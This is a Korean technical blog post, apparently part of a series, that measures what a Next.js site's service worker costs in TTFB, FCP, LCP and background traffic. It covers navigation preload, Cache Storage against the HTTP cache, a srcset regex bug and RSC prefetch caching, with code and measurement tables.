| 워커 + preload, CPU 6배 | 웜 / 콜드 / 리로드 | 0 / 3 / 0 | 83 / 84 / 81     | 204 / 260 / 460 | 868 / 1060 / 1124 |

(단위 ms, p50. 리로드 행은 워커 조건에서도 워커를 우회하므로 기동이 0이고, 실제로 그 회차의 `workerStart`는 0, `controller`는 `null`로 찍혔다.)

첫 두 행이 두 번째 시도의 본론이다. 워커를 켜고 끄는 것으로 TTFB, FCP, LCP 어느 것도 p50에서 5ms 이상 움직이지 않았다. 브라우저를 완전히 재기동한 뒤의 콜드 기동은 2ms(25회 전부 2\~3ms)였고, 웜 기동은 측정 해상도 아래였다. 1편에서 잰 웜 기동 2ms 안팎이 콜드에서도 크게 다르지 않다. 웜 25회의 TTFB가 워커 없음 79\~83ms, 워커 있음 80\~83ms 안에 전부 들어 있어서, 표본을 더 늘려도 이 기기에서 다른 답이 나올 것 같지는 않았다.

기대한 그림은 아니었다. 실사용자 데이터가 수십 ms를 가리키고 있었으니 랩에서도 그 근처가 나올 줄 알았다. 이 기기에서 이 워커의 경유 비용은 사실상 0이었다.

### 정적 자산: Cache Storage 대 HTTP 캐시

표에서 FCP 열이 조건과 무관하게 같은 것은 따로 짚을 가치가 있다. 워커 조건의 정적 자산이 전부 Cache Storage에서 나왔다고 보기 쉽지만, `workerStart > 0`(웜 33개 중 33개, 콜드 37개 중 37개)은 그 근거가 되지 못한다. 그 값이 0보다 크다는 것은 요청이 워커를 지났다는 뜻일 뿐이고, cacheFirst가 미스 나서 워커가 네트워크로 받아 온 자산도 마찬가지로 0보다 크다. 워커 조건의 `transferSize`가 전부 0인 것도 캐시 적중의 증거가 아니라 바로 앞 함정에서 본 집계 방식의 차이다.

세는 곳을 옮기면 직접 확인된다. 셰이핑 프록시에 붙인 카운터로 웜과 콜드 내비게이션에서 `/_next/static/` 요청이 몇 개나 회선을 지나는지 세 보니 두 조건이 정확히 같았다. 웜은 양쪽 다 15개 206,490바이트, 콜드는 양쪽 다 4개 150,609바이트였고 URL 집합까지 같았다. 워커 조건의 웜 내비게이션은 그 글에서 처음 쓰는 청크를 cacheFirst 미스로 네트워크에 보냈고, 미스가 부른 `fetch()`는 그 아래의 HTTP 캐시를 그대로 썼다. Cache Storage가 실제로 응답한 것은 콜드였다. 웜에서 저장해 둔 자산들이 브라우저 재기동을 넘어 쓰였다.

두 조건이 회선에서 받아 온 것이 같은 상태에서 FCP는 웜 116ms 대 120ms, 콜드 120ms 대 120ms로 같다. 재방문자에게 한해서는 **Cache Storage가 HTTP 캐시보다 빠르지 않다**는 뜻이다. 둘 다 디스크에서 읽고, 둘 다 네트워크를 타지 않는다.

이 결과는 앞 절의 LCP 분해 표에 달아 둔 질문에 답하는데, 서로 다른 두 비교를 갈라 놓고 답해야 한다.

하나는 같은 기간 안의 `sw_controlled` 대조다. 실사용자 데이터에서 워커를 거친 쪽의 렌더 지연이 절반이었던 것, 16일치 FCP p50이 데스크톱 `no` 1,208ms 대 `yes` 616ms인 것이 여기 속한다. 이 비교는 `no`가 대부분 첫 방문이고 `yes`가 대부분 재방문이니, 차이의 대부분을 워커가 아니라 캐시가 비어 있는 첫 방문과 차 있는 재방문의 차이로 보는 것이 랩 결과와 맞는다.

다른 하나는 2편의 "재방문자 FCP -43%"인데, 여기에는 그 설명이 통하지 않는다. 1,463ms와 829ms는 양쪽 다 재방문자로 한정한 값이라 캐시가 비어 있는 첫 방문이 어느 쪽에도 없기 때문이다. 대신 랩에서 Cache Storage의 속도 이득이 확인되지 않았으니, 남는 설명은 두 기간 사이의 구성 변화다. 컷 위치를 v3 배포 직전까지 늘리면 -43%가 -27%가 된다는 것, 워커가 건드릴 수 없는 CLS가 같은 기간에 19% 움직였다는 것을 2편에 이미 유보로 달아 두었는데, 그 유보의 무게가 더 무거워진 셈이다.

어느 쪽이든 1편의 "재방문 성능이 목표라면 이 레이어는 답이 아닐 가능성이 높다"는 판단과는 어긋나지 않는다. 물론 Cache Storage의 가치는 속도가 아니라 오프라인에 있고, 그것은 이 표로 잰 것이 아니다.

### 하드 리로드와 소프트 내비게이션

하드 리로드 행은 실사용자 데이터의 `reload` 대조군과 맞물린다. 랩에서는 워커 조건이든 아니든 리로드 TTFB가 81ms로 같았다. 당연한 결과이지만(둘 다 워커를 우회한다) 실사용자의 `reload, no` 56ms 대 `reload, yes` 131ms를 읽을 때 기준이 된다. 다만 그 `no`는 앞에서 본 대로 사실상 내가 5분 동안 남긴 것을 재고 있어서, 여기서 기준으로 쓸 수 있는 것은 크기가 아니라 방향뿐이다. 차이가 있다면 `yes`가 워커를 거친 데서 온 것일 텐데, 랩에서는 그 경유 비용이 보이지 않았다. 그리고 네 번째 함정을 거치고 나면 그 차이가 지연이기는 한지도 확실하지 않다.

2편에서 워커가 가장 많은 일을 하는 곳으로 지목한 `?_rsc=` 요청은 두 얼굴이었다. 홈에서 뷰포트에 들어온 링크들의 프리페치 325건은 duration p50이 워커 경유 81ms, 미경유 80ms로 사실상 같았고 첫 바이트까지도 양쪽 다 78ms였다. 워커 조건에서는 325건 전부 `workerStart`가 0보다 컸으니 지나간 것은 분명한데, 지나는 데 든 시간이 1ms다.

그런데 프리페치되지 않은 글을 클릭했을 때 나가는 RSC 요청은 달랐다. 25회 모두에서 워커 경유 175ms, 미경유 131ms로 44ms가 벌어졌다. 첫 바이트까지는 80ms 대 78ms로 같았으니 차이는 전부 본문을 받는 구간에서 났다. 이 측정에서 워커의 비용이 처음으로 보인 지점이다.

### 그 차이의 정체: 지표에 잡히지 않는 트래픽

본문을 받는 구간이 느려지는 이유로 응답을 복제해 캐시에 넣는 비용을 먼저 의심했지만, 2편의 설계를 떠올리면 더 그럴듯한 후보가 있었다. 소프트 내비게이션은 HTML을 남기지 않으므로, 이 워커는 실제 방문인 RSC 요청을 볼 때마다 배경에서 같은 경로의 HTML을 한 번 더 받고, 받은 HTML을 파싱해 본문 이미지까지 미리 받아 둔다. 그 요청들은 워커에서 나가기 때문에 페이지의 resource timing에는 잡히지 않는다. 페이지가 보지 못하는 것을 세려면 세는 곳을 옮겨야 해서, 앞의 셰이핑 프록시에 카운터를 달았다.

```javascript
let stats = []

http.createServer((req, res) => {
  if (req.url === '/__stats') {
    // 지금까지 지나간 요청 목록을 돌려주고 비운다
    const body = JSON.stringify(stats)
    stats = []
    res.writeHead(200, {'content-type': 'application/json'})
    res.end(body)
    return
  }

  const rec = {url: req.url, bytes: 0}
  stats.push(rec)
  // ... 아래 본문 속도 조절 루프에서 rec.bytes += chunk.length
})
```

홈을 띄우고 카운터를 비운 다음, 글 링크를 한 번 클릭하고 8초를 기다렸다. 그동안 프록시를 지난 same-origin 트래픽과, 클릭으로 나간 그 글의 RSC 요청 하나의 시간을 함께 쟀다. 앞의 표들과는 다른 날 다른 글로 잰 별도 측정이라 절대값은 위와 조금 다르지만, 세 조건은 같은 글에서 연달아 잰 것이다(조건당 10회).

| 조건               | 클릭 RSC duration | 요청 수 | 바이트  |
| ------------------ | ----------------- | ------- | ------- |
| 워커 없음          | 146ms             | 36      | 317,702 |
| 워커               | 202ms             | 41      | 589,056 |
| 워커, 배경 저장 끔 | 148ms             | 36      | 317,702 |

세 번째 줄에서 인과가 확정된다. `handleRSC`에서 `savePageHTML`을 부르는 한 줄만 지우고(RSC 응답 캐싱은 그대로 뒀다) 다시 재자, 요청 수와 바이트가 워커 없는 조건과 한 바이트도 다르지 않게 돌아왔고 56ms 중 54ms가 사라졌다. 남은 2ms가 워커를 지나는 비용이고, 나머지는 워커가 배경에서 하는 일이 같은 회선을 나눠 쓴 결과다.

늘어난 요청 5개의 내역은 이렇다.

| 늘어난 요청               | 바이트  |
| ------------------------- | ------- |
| 글 HTML(`savePageHTML`)   | 55,276  |
| `/_next/image` 썸네일 4개 | 216,078 |

클릭하고 머무는 8초 동안 프록시를 지난 same-origin 트래픽이 310KB에서 575KB로 늘었다는 뜻인데, 늘어난 265KB는 성격이 다른 둘로 나뉜다.

글 HTML 55KB는 워커가 순증시키는 트래픽이다. 소프트 내비게이션에는 HTML이 없으므로 대조군은 이 바이트를 어떤 경우에도 받지 않는다.

썸네일 216KB는 순증이라기보다 앞당김이다. 이 4개는 목적지 글 아래에 붙는 관련 글 썸네일이고, 렌더하는 컴포넌트가 `priority` 없는 `next/image`라 기본값이 `loading="lazy"`다. 대조군이 이걸 안 받은 것은 워커가 없어서가 아니라 측정이 클릭 후 8초를 스크롤 없이 기다렸을 뿐이기 때문이다. 실제로 읽는 사람은 아래로 내려가고, 그러면 대조군도 이 이미지를 받는다. 다만 `sizes="(min-width: 768px) 120px, 84px"`에 맞는 훨씬 작은 변형으로 받는다. 워커가 `w=3840`을 받아 두는 것과는 여전히 큰 차이다.

그리고 이것은 글 하나짜리 표본이다. 조건당 10회가 전부 같은 글을 되풀이한 것이고, 하필 그 글에는 본문 이미지가 없어서 늘어난 요청 5개가 글 HTML과 링크 썸네일 4개뿐이었다. 본문 이미지가 있는 글이라면 워커가 그것까지 배경에서 받으므로 더 커지고, 외부 도메인 이미지를 쓰는 글이라면 그 요청은 프록시를 지나지 않아 이 숫자에서 아예 빠진다.

이미지 216KB에는 이 측정에서 드러난 결함이 하나 섞여 있다. 워커는 저장할 변형을 고를 때 srcset 후보 중 1080px에 가장 가까운 것을 고르도록 되어 있는데, 실제로 받은 것은 4개 다 `w=3840`이었다. HTML을 열어 보니 이유가 분명했다. Next.js가 내려준 속성 이름은 `srcSet`인데 추출 정규식이 `(?:src|srcset)="`라 대소문자가 걸려 이 속성을 통째로 놓치고, 남는 후보는 가장 큰 변형이 들어 있는 `src` 하나뿐이다. 화면에서 120px로 그려지는 썸네일을 3840px로 받아 둔 셈이다. HTML 속성 이름은 원래 대소문자를 가리지 않으니 브라우저는 아무 문제가 없었고, 정규식만 문제였다. 고치는 것은 플래그 한 글자였다.

```javascript
// 고친 뒤. Next.js는 srcSet으로 렌더하므로 i가 없으면 srcset 후보를 통째로 놓친다
const attrRe = /(?:src|srcset)="([^"]+)"/gi
```

고치고 같은 측정을 다시 돌리자 네 이미지는 의도대로 `w=1080` 변형으로 바뀌었는데, 아낀 바이트는 기대에 한참 못 미쳤다. 이미지 4개의 합계가 216,078에서 196,709로 9% 줄었고, 클릭 한 번의 전체 트래픽은 589,056에서 569,687로 3% 줄었다. 4개 중 하나는 1080px 변형이 3840px 변형보다 오히려 컸다(51,147 대 60,851). 이 썸네일들은 `/api/og/art`가 코드로 그리는 이미지라 색이 단순해서, 너비를 줄여도 인코딩 크기가 그만큼 줄지 않고 리샘플링 결과에 따라 뒤집히기도 하는 것으로 보인다. 결함은 진짜였지만 그 결함이 만든 낭비는 생각보다 작았다. 고친 뒤에도 8초 동안의 트래픽은 여전히 79% 늘어나는데, 그중 대조군이 끝내 받지 않는 몫은 글 HTML 55KB, 즉 17%다. 나머지는 독자가 스크롤하면 대조군도 받을 것을 워커가 미리, 그것도 화면에 필요한 것보다 큰 변형으로 받아 두는 몫이다. 진짜 비용은 잘못 고른 변형이 아니라, 글 하나를 열 때마다 글 HTML과 썸네일 4개를 배경에서 더 받는 구조 자체에 있었다.

지연으로는 드러나지 않고 오직 바이트로만 드러나는 종류의 결함이라, 프록시에서 세어 보기 전에는 2편을 쓰면서도 알아채지 못했다.

여기서 한 가지가 분명해진다. 이 워커의 비용이 가장 크게 나타나는 곳은 소프트 내비게이션인데, web-vitals가 보내는 지표는 하드 내비게이션을 단위로 보고되므로 첫 번째 시도에서 본 실사용자 데이터에는 이 구간이 아예 들어 있지 않다. 랩으로 옮기지 않았다면 이 비용은 어느 지표에도 나타나지 않았을 것이다.

## preload를 꺼서 비용의 위치를 찾다

셋째 행에서 가장 많은 것을 알 수 있었다. preload를 끄자 콜드 내비게이션의 TTFB만 83ms에서 94ms로 11ms 밀렸고, 웜과 리로드는 그대로였다.

![조건별 콜드 기동 내비게이션 TTFB 분포. preload를 끈 조건만 11ms 밀리고 나머지는 워커 유무와 무관하게 82~84ms 안에 있다](./images/service-worker-caching/lab-cold-ttfb-by-condition.png)

이 워커가 preload를 쓰는 방식은 1편에 나온 표준 형태 그대로다. `sw.js`의 내비게이션 경로는 `networkFirst()`를 타고, 그 안의 첫 줄이 preload 응답을 먼저 본다.

```javascript
async function networkFirst(event, cacheName) {
  const {request} = event
  try {
    // 내비게이션이면 preload로 먼저 출발한 응답을 쓴다. 내비게이션이
    // 아니거나 preload 미지원이면 undefined로 resolve되어 fetch로 간다
    const response = (await event.preloadResponse) ?? (await fetch(request))
    if (response.ok) {
      event.waitUntil(putWithTrim(cacheName, request, response.clone()))
    }
    return response
  } catch {
    // ... 캐시와 오프라인 페이지 폴백
  }
}
```

11ms라는 크기가 흥미로운 것은 워커 기동이 3ms뿐이기 때문이다. navigation preload는 워커가 뜨기를 기다리지 않고 내비게이션 요청을 먼저 출발시키는 장치이니[^5], preload가 감춰 주는 시간은 기동 시간이어야 할 것 같은데 실제로는 그보다 8ms가 많다. 남는 8ms는 워커가 뜬 뒤에 오는 직렬 구간이다. fetch 이벤트를 워커 스레드에 디스패치하고, 핸들러가 `event.respondWith()`에 도달하고, 위 코드의 `fetch(request)`가 네트워크 서비스로 나가기까지. preload가 없으면 이 구간이 끝나야 요청이 출발하고, preload가 있으면 요청은 내비게이션 시작과 함께 출발해 워커는 `event.preloadResponse`로 이미 도착해 있는 응답을 집어 돌려주기만 한다.

웜 상태에서 차이가 0인 이유도 같은 그림으로 설명된다. 워커가 이미 떠 있고 이전 fetch에서 열어 둔 경로가 살아 있으면 디스패치와 fetch 출발이 1ms 안에 끝나므로 preload가 감출 것이 없다. 반대로 말하면 preload의 효과는 콜드 기동에서만, 그것도 기동 자체보다 그 뒤의 준비 구간에서 더 크게 난다. 2편에서는 preload를 켠 8월 23일이 그 편의 TTFB 대조 구간 한가운데에 들어 있다는 것을 밝히고, 켠 효과를 실사용자 데이터에서 가려낼 수 있는지는 이 편으로 미뤘다. 이 측정으로 얻은 답은 되찾을 수 있는 시간의 상한이 이 기기에서는 11ms라는 것이고, 그렇다면 가려낼 수 없다. 첫 번째 시도에서 8월 23일 배포의 효과가 실사용자 데이터에 안 보였던 것도 자연스럽다. 일별 p50이 수백 ms를 오가는 그래프에서 콜드 기동 한정 11ms 안팎을 읽을 수는 없다.

## 세 번째 시도: 기기를 느리게

11ms는 실사용자 데이터의 35ms에 못 미친다. 남은 후보 중 랩에서 만들 수 있는 것은 기기 속도였다. M5는 실사용자 기기 분포에서 가장 빠른 축에 들 테니, CPU를 6배 느리게 하면 워커 기동과 디스패치가 그만큼 늘어나 간극이 좁혀질 것이라는 가설이다.

가설을 시험하기 전에 확인할 것이 있었다. DevTools의 CPU 스로틀이 페이지의 메인 스레드만 늦추는지 워커 스레드까지 늦추는지 확신이 없었다. 판별은 기동 시간으로 했다. 스로틀 아래서 `fetchStart - workerStart`가 늘어나면 워커에도 걸리는 것이다. 결과는 최소 2ms, p50 3ms, p90 13ms, 최대 13ms로, 스로틀 없는 조건의 2~3ms보다 분명히 늘어났고 꼬리가 생겼으니 워커 스레드에도 걸린다고 볼 수 있었다.

그런데 그것이 전부였다. CPU 6배 조건에서 워커 유무에 따른 콜드 TTFB 차이는 82ms 대 84ms로 2ms였다. FCP는 260ms로 같았고, LCP는 10회 표본이라 흔들림이 커 방향을 말하기 어렵다(1,228 대 1,060으로 워커 쪽이 낮았지만 표본 밖의 이유를 배제할 수 없다). 스로틀이 페이지 쪽에는 확실히 걸렸다는 것은 FCP가 120ms에서 260ms로, 웜 LCP가 528ms에서 896ms로 늘어난 데서 보인다. 그 안에서도 워커의 몫은 한 자릿수에 머물렀다. 기동을 6배 느리게 해도 한 자릿수 ms에 머무는 워커는, 적어도 이 스로틀이 흉내 내는 종류의 느림으로는 35ms를 만들지 못했다.

## 간극을 남기며

세 번의 시도를 한 줄로 늘어놓으면 이렇게 된다. 실사용자 p50에서는 워커 경유가 `navigate`에서 +35ms이고, 랩에서는 기동 2ms에 preload가 감추는 직렬 구간 11ms이며, CPU를 6배 늦춰도 한 자릿수를 벗어나지 않는다. 그리고 그 +35ms는 지연이 아니라 103 Early Hints가 만든 측정 기준점 차이였다. 확인한 것과 확인하지 못한 것을 가르면 다음과 같다.

확인한 것부터 적는다. 두 조건을 같은 시점에 맞춰 놓고 보면 이 사이트에서 워커 경유 지연은 p50에서 관측되지 않는다. 랩의 5ms 아래와 실사용자 데이터의 35ms는 서로 다른 답이 아니라 서로 다른 기준점이었다. 랩 안에서 재는 한 이 워커의 경유 비용은 기동 자체보다 기동 뒤의 준비 구간이 크고, navigation preload는 그 전체를 병렬화해서 콜드 기동에서만 11ms를 돌려준다. 웜 상태의 비용은 측정되지 않는다. 대신 비용은 바이트에 있다. 글 하나를 클릭하고 머무는 8초 동안 같은 오리진 트래픽이 310KB에서 575KB로 늘고, 그 대역폭 경합이 클릭 요청에 50ms 안팎으로 되돌아온다. 그중 대조군이 끝내 받지 않는 것은 글 HTML 55KB뿐이고, 썸네일 216KB는 독자가 스크롤하면 대조군도 받을 것을 워커가 미리 그리고 더 큰 변형으로 받아 두는 몫이다. 어느 쪽이든 하드 내비게이션 단위로 보고되는 web-vitals에는 잡히지 않는다. 재방문자에게 Cache Storage는 HTTP 캐시보다 빠르지 않고, 그래서 같은 기간 안의 `sw_controlled` FCP 대조는 대부분 재방문 자체의 효과로 보는 편이 맞다. 그리고 실사용자 데이터에서 `reload` 대조군은 16일에 6번의 방문이 전부이고 12건 중 8건이 확인하러 들어간 내 트래픽이라 기다려도 모이지 않으며, `navigate` 대조군은 신규와 재방문의 차이가 섞여 있어 표본이 늘어도 깨끗해지지 않는다.

확인하지 못한 것도 세 가지다. 우선 꼬리다. 엣지가 MISS일 때 103과 최종 헤더 사이는 3초에서 5초까지 벌어지는데, RUM에서 각 요청의 엣지 캐시 상태를 조회할 수단이 없어 2편의 평균 +525ms 가운데 이 성분이 얼마인지는 가르지 못했다. 다음으로 Safari다. `navigate` p50이 `no` 126ms 대 `yes` 172ms(각 81건과 80건)로 Chromium과 비슷한 격차를 보이는데, Safari가 103을 어떻게 다루고 그 값이 `responseStart`에 어떻게 들어가는지는 확인하지 못했다. 마지막으로 실기기다. 랩은 로컬 서버라 CDN 경로가 없고, 실사용자 기기의 Cache Storage는 디스크 상태와 용량 압박을 겪으며, CPU 스로틀은 느린 기기의 메모리와 스토리지 지연까지 흉내 내지는 않는다. 그 환경을 M5 한 대로 재현하지 못한 것은 여전히 이 측정의 한계다.

## 그래서 성능에는 도움이 되는가

앞에서 잰 것은 전부 비용이다. 그런데 이득 쪽 숫자는 시리즈 내내 여러 번 인용해 놓고 따져본 적이 없다. 제목을 "비용 실측"으로 붙인 탓인데, 이대로 닫으면 절반만 보여주는 글이 된다.

그중 가장 큰 숫자는 2편의 재방문자 FCP 평균 1,463ms에서 829ms, -43%다. 앞 절에서 갈라 보았듯 이 비교는 양쪽 다 재방문자로 한정한 값이라 캐시가 비어 있는 첫 방문이 어디에도 없고, 그래서 신규와 재방문의 차이로는 설명되지 않는다. 그런데 랩에서 Cache Storage와 HTTP 캐시의 FCP가 같았으니 메커니즘으로 설명할 길도 남지 않는다. 2편에서 그 표에 달아 둔 유보(컷 위치를 v3 배포 직전까지 늘리면 -43%가 -27%가 된다는 것과 워커가 건드릴 수 없는 CLS가 같은 기간에 19% 움직였다는 것)가 이제는 유보가 아니라 주된 설명에 가깝다. 정적 자산을 Cache Storage에서 꺼내 온 덕에 재방문자 FCP가 좋아졌다는 해석은 여기서 철회하는 편이 맞다.

그렇다고 이득이 없다고 닫기에는 걸리는 것이 있었다. 랩은 로컬 서버라 CDN 왕복이 없다. 실사용자에게는 Cache Storage가 엣지까지 가는 왕복을 지워 주는 이득이 있을 수 있는데 그 구조는 랩에서 잴 수 없다. 그래서 네 번째 함정에서 쓴 짝비교를 프로덕션 도메인에 다시 붙여 이번에는 FCP와 LCP를 같이 모았다. 회차마다 워커를 막은 조건과 허용한 조건을 번갈아 25쌍, 웜과 콜드 둘 다, 엣지 HIT인 회차만 집계했다.

| 구간 | 지표    | 워커 없음 | 워커 | 차이  |
| ---- | ------- | --------- | ---- | ----- |
| 웜   | TTFB    | 12.5      | 44.4 | +31.9 |
| 웜   | FCP     | 96        | 132  | +36   |
| 웜   | LCP p50 | 460       | 200  | -260  |
| 콜드 | TTFB    | 45.4      | 78.7 | +33.3 |
| 콜드 | FCP     | 136       | 132  | -4    |
| 콜드 | LCP p50 | 596       | 528  | -68   |

(단위 ms, p50, 조건당 25회.)

TTFB 두 줄은 앞에서 본 Early Hints 아티팩트이니 지연이 아니다. 읽을 것은 나머지 네 줄이고, 그중 웜 LCP가 예상 밖이었다. 랩에서는 워커를 켜고 끄는 것으로 LCP가 5ms도 움직이지 않았는데 프로덕션에서는 절반 아래로 내려간 것으로 보였다. 이 -260ms는 그대로 쓸 수 없는 값이다. 25쌍에서 나온 진짜 p50이지만, p50으로 말해도 되는 분포가 아니었다.

웜 LCP 원자료를 정렬해 늘어놓으면 보인다.

```text
워커 없음  168 180 184 188 192 200 200 240 356 448 448 452 460 460 464 500 516 520 520 532 536 536 540 548 628
워커       168 172 172 176 180 180 184 188 188 192 192 196 200 200 204 208 220 224 224 224 232 232 240 348 452
```

두 조건 다 약 160에서 240 사이의 빠른 무리와 약 450에서 550 사이의 느린 무리로 갈리고, 그 사이에 있는 것은 356과 348 두 회차뿐이다. 조건이 바꾸는 것은 LCP 값이 아니라 느린 무리에 떨어질 확률이고, 그렇다면 중앙값은 그 확률이 절반을 넘느냐 아니냐에 따라 두 무리 사이를 건너뛴다. 실제로 워커 없음 25회의 p50 460ms를 같은 25개에서 부트스트랩으로 다시 뽑으면 95% 구간이 240에서 520이다. 한 데이터가 빠른 무리와 느린 무리 양쪽을 다 답으로 내놓는다. 그래서 웜 LCP는 느린 무리의 비율로 봐야 한다. 350ms를 경계로 세면 웜은 워커 없음 17/25에 워커 1/25이고, 콜드는 24/25와 25/25다. 콜드는 양쪽 다 느린 무리에 붙어 있으니 596 대 528은 같은 무리 안의 차이이고, 조건이 가르는 것은 웜뿐이다.

먼저 내 측정 설계를 의심했다. 이 설계는 워커 조건만 홈에서 `controllerchange`를 기다리느라 3.5초를 더 머문다. 두 조건의 체류 시간을 맞추고 20쌍을 다시 돌려도, 조건 실행 순서를 뒤집어 12쌍을 더 돌려도 방향이 그대로였으니 설계 탓은 아니었다(p50으로는 460 대 200과 524 대 200인데, 방금 본 이유로 이 값들도 느린 무리의 비율이 반영된 결과로만 봐야 한다).

원인을 찾으려고 리소스 타이밍을 전부 떠 봤다. LCP 요소는 전 회차 글 제목 `h1`이고 폰트는 두 조건 모두 50ms 안팎에 다 도착하니 폰트는 아니다. 차이는 한 군데에 몰려 있었다. 글 페이지를 열면 헤더 내비게이션과 시리즈 목록과 태그 링크를 향해 `?_rsc=` 프리페치가 31건 나간다. 경로로는 23개이고 그중 8개가 두 번씩 나가는데, 두 번이 같은 URL은 아니다. `_rsc`는 프리페치 관련 요청 헤더 4개(`next-router-prefetch`, `next-router-segment-prefetch`, `next-router-state-tree`, `next-url`)를 이어 붙여 해시한 값이라, 같은 경로라도 그 조합이 달라지면 다른 URL이 된다. 31건의 URL은 전부 서로 다르다. 워커가 없으면 이 31건이 전부 네트워크로 나가 345,639바이트를 받는다. 그중 한 건이 82,761바이트다. 워커를 켜면 같은 자리가 0바이트로 찍힌다.

이 0바이트를 캐시 적중으로 읽으면 워커가 31건을 Cache Storage에서 응답한다는 결론이 되는데, `sw.js`를 열어 보면 그럴 수가 없다.

```javascript
async function handleRSC(event) {
  const {request} = event
  // 프리페치는 캐시하지 않는다: 실제로 방문한 페이지만 저장한다
  const isVisit = !isPrefetchRequest(request)
  if (isVisit) {
    event.waitUntil(savePageHTML(request, event.clientId))
  }

  try {
    const response = await fetch(request) // 프리페치도 여기로 간다
    if (isVisit && response.ok) {
      event.waitUntil(putWithTrim(RSC_CACHE, request, response.clone()))
    }
    return response
  } catch {
    // 캐시 조회는 네트워크가 던졌을 때만 들어온다
    const cache = await caches.open(RSC_CACHE)
    // ...
  }
}
```

프리페치는 `isVisit`이 거짓이라 저장 대상에서 아예 빠지고, `cache.match()`는 `fetch()`가 던졌을 때만 들어가는 `catch` 안에 있다. 이 워커는 프리페치를 Cache Storage에서 응답한 적이 없고, 켜져 있어도 31건을 그대로 네트워크로 보낸다. 0바이트는 함정 절과 정적 자산 절에서 두 번 본 그것, 워커를 지난 응답의 `transferSize`가 0으로 찍히는 집계 아티팩트다.

데이터로도 확인된다. 세 조건의 원본을 다시 집계하면 이렇다.

| 조건            | 프리페치 건수 | `transferSize` 합계 | 마지막 프리페치 응답이 끝난 시각 |
| --------------- | ------------- | ------------------- | -------------------------------- |
| 워커 없음       | 31            | 345,639             | 1,115ms                          |
| 워커            | 31            | 0                   | 1,142ms                          |
| 워커 없음, 차단 | 18            | 0                   | 898ms                            |

워커 조건도 12회 전부 31건이 나갔고, 마지막 응답이 끝난 시각이 1,142ms 대 1,115ms로 사실상 같다. 캐시에서 꺼냈다면 나올 수 없는 값이다. 차단 조건의 0바이트는 또 다른 이유로 0인데, 막힌 요청도 `transferSize`가 0으로 찍히기 때문이다. 앞 절에서 프리페치 325건이 워커를 지나는 데 1ms밖에 안 들고 duration이 미경유와 같았던 것도 이제 다르게 보인다. 빨라서가 아니라 그냥 통과했기 때문이다.

그러면 이 31건은 왜 페이지를 열 때마다 다시 나가는가. 브라우저 캐시가 이걸 재사용하지 못하는 이유는 응답 헤더에 있다.

```http
cache-control: public, max-age=0, must-revalidate
vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
x-nextjs-stale-time: 300
```

실제 브라우저가 글 페이지를 열 때 나가는 프리페치 31건의 응답에서 받은 것이고, 31건 전부 같은 `cache-control`이며 `x-nextjs-stale-time: 300`은 그중 25건에 있다. 같은 URL에 `curl`을 던지면 `private, no-store`가 돌아오는데, `vary`에 걸린 요청 헤더 세트를 재현하지 못한 응답이라 여기서 쓸 값은 브라우저 쪽이다.

`no-store`는 없으니 브라우저 캐시는 이 응답을 저장은 한다. 다만 `max-age=0, must-revalidate`라 쓸 때마다 서버에 재검증 왕복을 한 번 해야 하고, 그 왕복이 남는 이상 프리페치의 의미는 대부분 사라진다. 게다가 `vary`에 걸린 4개 가운데 `next-router-state-tree`는 출발한 페이지마다 값이 달라진다. 같은 대상 경로라도 어디서 이동해 왔느냐에 따라 캐시 항목이 갈리니, 저장은 되는데 다시 맞을 일이 드물다. 이 응답을 재사용하는 캐시가 아주 없는 것은 아니다. `x-nextjs-stale-time: 300`은 App Router가 자체 라우터 캐시에 5분 동안 들고 있겠다는 뜻인데, 그 캐시는 페이지를 새로 열면 사라지는 메모리 캐시다. 디스크에 남는 것은 Cache Storage뿐인데, Cache Storage의 저장과 조회 알고리즘에는 `cache-control`도 `x-nextjs-stale-time`도 나오지 않는다. 조회에서 보는 것은 메서드와 URL, 그리고 `ignoreVary`를 켜지 않았다면 `vary`다. 따라서 Cache Storage에 넣어 두더라도 `vary`가 갈리는 문제는 그대로 따라온다.

여기까지는 상관이다. 이 시리즈에서 상관을 인과로 읽었다가 되돌린 것이 세 번이라 한 번 더 갈라야 했다. 앞의 세 조건에 하나를 더해 넷으로 만들고 조건당 30회로 다시 돌렸다. 워커 없이 프리페치 그대로, 배포된 워커 그대로, 배포된 워커에서 `handleRSC`만 프리페치도 저장하고 조회하는 변형으로 갈아끼운 것, 그리고 워커 없이 프리페치만 막은 것이다. 차단은 CDP의 `Network.setBlockedURLs`로 했다. Playwright의 `route()`는 앞의 함정에서 본 대로 HTTP 캐시를 꺼서 워커 없는 조건만 불리해지니 쓸 수 없었고, 대신 Network 도메인 자체는 네 조건 모두에서 켜 두어 도메인 활성화를 상수로 만들었다. 회차마다 조건 실행 순서를 돌렸다.

변형을 심는 데도 한 번 돌아갔다. `route()`로 `/sw.js` 응답을 바꿔치기하는 방법은 실측으로 폐기했다. Chrome은 내비게이션마다 워커 스크립트를 다시 받아 비교하는 soft update를 도는데, 그 요청이 Playwright `route()`로도 페이지 타깃 CDP `Fetch`로도 브라우저 타깃 CDP `Fetch`로도 가로챌 수 없어서 변형이 한두 번 만에 배포본으로 되돌아갔다. 대신 `sw.js`는 classic worker라 최상위 함수 선언이 워커 전역 객체의 프로퍼티가 된다. `worker.evaluate()`로 `self.handleRSC`만 갈아끼우면 두 워커 조건이 배포된 같은 파일을 그대로 돌리면서 그 함수 하나만 달라지고, `route()`를 아예 쓰지 않으니 캐시를 끄는 함정도 따라오지 않는다.

한 가지 더 맞춰 줘야 했다. `_rsc` URL은 출발 페이지에 따라 갈리므로, 변형이 캐시에서 응답하려면 같은 출발 페이지에서 같은 글로 한 번 다녀온 적이 있어야 한다. 그래서 네 조건 모두 글을 한 번 방문해 두고, HTTP 캐시와 RSC 캐시를 뺀 나머지 워커 캐시를 지운 뒤 두 번째 방문을 쟀다. 변형에게 가장 유리한 상황이라는 뜻이다.

| 조건                     | FCP p50 | LCP p50 | 느린 무리  |
| ------------------------ | ------- | ------- | ---------- |
| 워커 없음                | 96      | 448     | 20/30, 67% |
| 워커(배포본)             | 100     | 320     | 14/30, 47% |
| 워커(프리페치도 캐시)    | 104     | 168     | 9/30, 30%  |
| 워커 없음, 프리페치 차단 | 128     | 200     | 7/30, 23%  |

(단위 ms, 조건당 30회, 120회 전부 엣지 HIT. 두 무리의 경계는 앞과 같은 350ms이고, 324와 416 사이에는 아무 회차도 없다. LCP p50 열은 참고로만 두었다. 배포본의 320ms는 부트스트랩 95% 구간이 164에서 452라 같은 데이터가 두 무리를 다 답으로 낸다.)

